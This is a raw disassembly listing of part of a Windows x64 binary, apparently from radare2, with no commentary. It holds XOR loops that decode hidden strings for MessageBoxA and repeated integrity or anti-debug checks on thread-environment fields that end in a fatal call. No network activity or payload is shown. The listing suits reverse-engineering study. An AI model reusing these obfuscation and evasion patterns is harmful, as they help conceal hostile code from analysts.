mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x2ae25b8c6e
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x1400276cc
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x140027800
mov rax, qword gs:[0x12]
mov ecx, 0x603ef84
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400277e0
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400277e0
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027800
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x140027bc5
mov rax, qword gs:[0x12]
movabs rcx, 0x8d5b3c2ae1c0860
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027898
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027898
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140027962
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027942
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027942
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027962
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], reloc.WLDAP32.dll_Ordinal_45
mov rdi, r15
movabs rsi, 0x10563b41a
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140027cf4
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x140027988
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400d4ee0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400d4f20]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400d4e50]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x26dac6bb
mov dword [rbp + 0xd0c], 0xde8accae
mov dword [rbp + 0xd10], 0xf88d6487
mov word [rbp + 0xd14], reloc.WLDAP32.dll_Ordinal_143
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140027d68
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140027a1d
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140027b1b
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027afb
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027afb
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027b1b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140027bc5
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027ba5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027ba5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, 1
call fcn.14008def8
int3